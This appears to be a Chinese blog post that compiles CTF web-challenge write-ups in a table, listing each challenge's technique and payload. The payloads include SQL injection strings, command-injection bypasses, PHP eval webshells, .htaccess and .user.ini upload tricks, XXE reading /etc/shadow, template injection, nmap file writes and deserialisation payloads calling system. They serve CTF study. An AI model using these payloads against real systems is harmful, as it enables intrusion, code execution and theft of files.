ctf wp 汇总

名称	知识点简介	知识点详细描述
		
[极客大挑战 2019]EasySQL	注入 ,万能密码	页面是用户名密码登录框,尝试参数加单引号出错提示。 password=1' or 1=1%23 拿到flag
		
强网杯 2019]随便注	先判断哪个参数存在注入, 然后使用堆叠注入  ;show databases;#	更详细的堆叠和handler 语法。 
		
SUCTF 2019]EasySQL		
		
GXYCTF2019]Ping Ping Ping	"命令注入: 
/?ip=;cat$IFS$9`ls`
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

"	
极客大挑战 2019]Upload	上传文件, bp 修改文件名称 filename="xx.phtml",同时 上传的文件头 加入GIF89a	
		
极客大挑战 2019]PHP	"目录扫描, 信息收集, 反序列化。 绕过wakeup 函数 。 
https://segmentfault.com/a/1190000022534926"	
		
RoarCTF 2019]Easy Calc	"命令注入, 
考点: 一。 参数是否能生效,参数前面加入空格试试 

? num=phpinfo()
=var_dump(scandir(chr(47)))
print_r(file(""flag.php""));//
print_r(scandir('./'))
=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
"	
极客大挑战 2019]BuyFlag	"答案: password=404 &money[]=1111111111
源码审计:
1. 整数和字符串 什么时候相等。 
2. 参数长度绕过, p[]=111"	
"[护网杯 2018]easy_tornado
"	tornado 的模板注入, 文件读取, md5 算法	通过tornado的模板注入漏洞获取key ,通过md5 算法得到hash, 直接获取flag
		
HCTF 2018]admin	"本题的考点是二次注入,先注册后登录并修改密码。 
注册admiN"	
BJDCTF2020]Easy MD5	注入, md5后变成正常的字符串。 ffifdyop	
		
ZJCTF 2019]NiZhuanSiWei	"第一步:首先拿到题目,审计源码,需要我们传递参数,需要我们写入数据,这里用到了伪协议 data://,然后file_get_contnets()读取里面的字符串与之匹配   payload:?text=data://text/plain,welcome to the zjctf

php://filter/read=convert.base64-encode/resource=useless.php

第二步:不能够直接用flag.php直接访问,我们需要读取useless.php的源码,这时候用到了伪协议中的php://filter来读取,我们读取的字符串是base64格式的需要我们进行转码

第三步:构造反序列化,得到最终的password.

第四步:构造最终的payload,然后在源码中获得flag.

"	
		
MRCTF2020]你传你🐎呢	"上传.htaccess
注意第一行指定的是我们要上传的文件,文件名必须相同才能被当作php文件执行

<FilesMatch ""1.png"">
SetHandler application/x-httpd-php
</FilesMatch>

上传1.png
简单的一句话木马

<?php
@eval($_POST['shell']);
?>"	
SUCTF 2019]CheckIn	"上传  .user.ini 
GIF89a 
auto_prepend_file=shell.jpg
"	
反序列化函数执行顺序	"__construct()
__sleep()
__wakeup()
__toString()
__destruct()
__destruct()"	
网鼎杯 2020 青龙组]AreUSerialz	"file_get_contents($this->filename);
 protected $filename=""php://filter/read=convert.base64-encode/resource=flag.php"";

protected 和public 的绕过。 


"	
常用序列化代码  	"$A=new FileHandler();
$B=serialize($A);
echo $B;"	
GXYCTF2019]BabySQli	"万能密码的另外一个思路: 
select * from users where id=-11 union select 1,2,3;
name=-1' union select 1,'admin','202cb962ac59075b964b07152d234b70'%23 &pw=123"	
		
		
GYCTF2020]Blacklist	"handler handler_table read next;
;show databases;
show tables;  获取表名
show columns from `table_name`; 获取列名
nject=1';handler `FlagHere`open;handler `FlagHere`  read  next;"	
		
GXYCTF2019]BabyUpload	"上传文件, 
比较好用的一句话
<script language='php'>@eval($_POST['attack']);</script>
"	
		
CISCN2019 华北赛区 Day2 Web1]Hack World	"id=1^0^1
payload = ""if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"" % (i, j)"	
		
网鼎杯 2018]Fakebook	"?no=-1 union/**/select 1,load_file(""/var/www/html/flag.php""),3,4--+
?no=-1 union/**/select 1,2,3,'O:8:""UserInfo"":3:{s:4:""name"";s:5:""admin"";s:3:""age"";i:19;s:4:""blog"";s:29:""file:///var/www/html/flag.php"";}'"	
		
RoarCTF 2019]Easy Java	"源码泄露。 java   WEB-INF/web.xml
"	
		
BUUCTF 2018]Online Tool	nmap 文件写入。  escapeshellarg()和escapeshellcmd()这个点	
		
BJDCTF2020]The mystery of ip	X-Forwarded-For 注入, {7*8}  {system('ls')}	
		
GXYCTF2019]禁止套娃	"源码审计: 
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

过滤了伪协议
 if(';' === preg_replace('/[a-z,_]+(?R)?/', NULL, $_GET['exp']))  过滤了待参数的函数 。 
exp=print_r(scandir(current(localeconv())));
exp=print_r(next(array_reverse(scandir(current(localeconv())))));
highlight_file(next(array_reverse(scandir(current(localeconv())))));"	
		
网鼎杯 2020 朱雀组]phpweb	"通过这个  func=file_get_contents&p=index.php 获取到源码。 
根据源码,猜测是序列化。 
 $a = new Test();
    // $a->p = 'ls ../../../';          ==>  O:4:""Test"":2:{s:1:""p"";s:12:""ls ../../../"";s:4:""func"";s:6:""system"";}
    // $a -> p = ""find / -name 'flag*'"";        ⇒  O:4:""Test"":2:{s:1:""p"";s:20:""find / -name 'flag*'"";s:4:""func"";s:6:""system"";}
    $a -> p = 'cat /tmp/flagoefiu4r93';     //  ==>  O:4:""Test"":2:{s:1:""p"";s:22:""cat /tmp/flagoefiu4r93"";s:4:""func"";s:6:""system"";}
    $a -> func = 'system';

    echo (serialize($a));
"	
		
BJDCTF2020]ZJCTF,不过如此	"?text=php://input + post数据 满足  file_get_contents($text,'r' ===""I have a dream""
preg_replace +/e 的绕过payload   
next.php?\S*=${eval($_POST[cmd])}  post   cmd=system(""cat /flag"");"	
		
GWCTF 2019]我有一个数据库	"利用了  phpmyadmin 4.81 存在文件包含漏洞
?target=pdf_pages.php%253f/../../../../../../../../etc/passwd 确定漏洞是否存在"	
		
BSidesCF 2020]Had a bad day	"读取文件   /index.php?category=php://filter/convert.base64-encode/index/resource=flag , 注意某些时候不一定需要.php 
"	
		
BJDCTF2020]Mark loves cat	源码审计, git 代码下载。 lijiejie 的githack 工具--当前目录下有。 。   变量覆盖。	
		
NCTF2019]Fake XML cookbook	"xxe注入:  !ENTITY 后面跟的字符串
<!DOCTYPE replace [<!ENTITY ent SYSTEM ""file:///etc/shadow""> ]>
<!ENTITY file SYSTEM  ""file:///flag"">"	
		
强网杯 2019]高明的黑客	网址被黑, 留下了备份文件, 里面有几千个木马,需要写代码确认那个木马是有效的。 	
		
安洵杯 2019]easy_web	"命令执行加 md5 强碰撞
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2"	
		
BJDCTF2020]Cookie is so stable	根据提示是cookie 问题, 但是怎么就想到了模板注入。 	
		
WUSTCTF2020]朴实无华	"源码审计: 1.
绕过intval  使用'2e1'  绕过 (intval($num) < 2020 && intval($num + 1) > 2021)
md5=md5x  使用  0e215962017 绕过。 
命令执行使用   ca\t  <绕过空格。 "	
		
安洵杯 2019]easy_serialize_php	有点复杂,稍候看。 	
		
CISCN 2019 初赛]Love Math	过滤数学函数	
		
		
WesternCTF2018]shrine	"模板注入, 先使用{{7*7}} 确认注入点。 然后使用 
{url_for.__globals__}
{url_for.__globals__['current_app'].config}"	
		
网鼎杯 2020 朱雀组]Nmap	"nmap 写文件
'<?= @eval($_POST[""pwd""]);?> -oG 1.phtml'"	
		
SWPU2019]Web1	"sql 注入 绕过 
可能是from和information被过滤了,查资料 (select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats)
学到一个新姿势,mysql.innodb_table_stats查询表名
还可用sys.schema_auto_increment_columns"	
		
MRCTF2020]Ezpop	php 序列化调用链  晕了。 	
		
NPUCTF2020]ReadlezPHP	"反序列化    echo $b($a); 
"	
		
反序列化专题	"_construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() //获得一个类的成员变量时调用
__set() //设置一个类的成员变量时调用
__invoke() //调用函数的方式调用一个对象时的回应方法
__call() //当调用一个对象中的不能用的方法的时候就会执行这个函数

https://blog.csdn.net/solitudi/article/details/113588692
"	

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值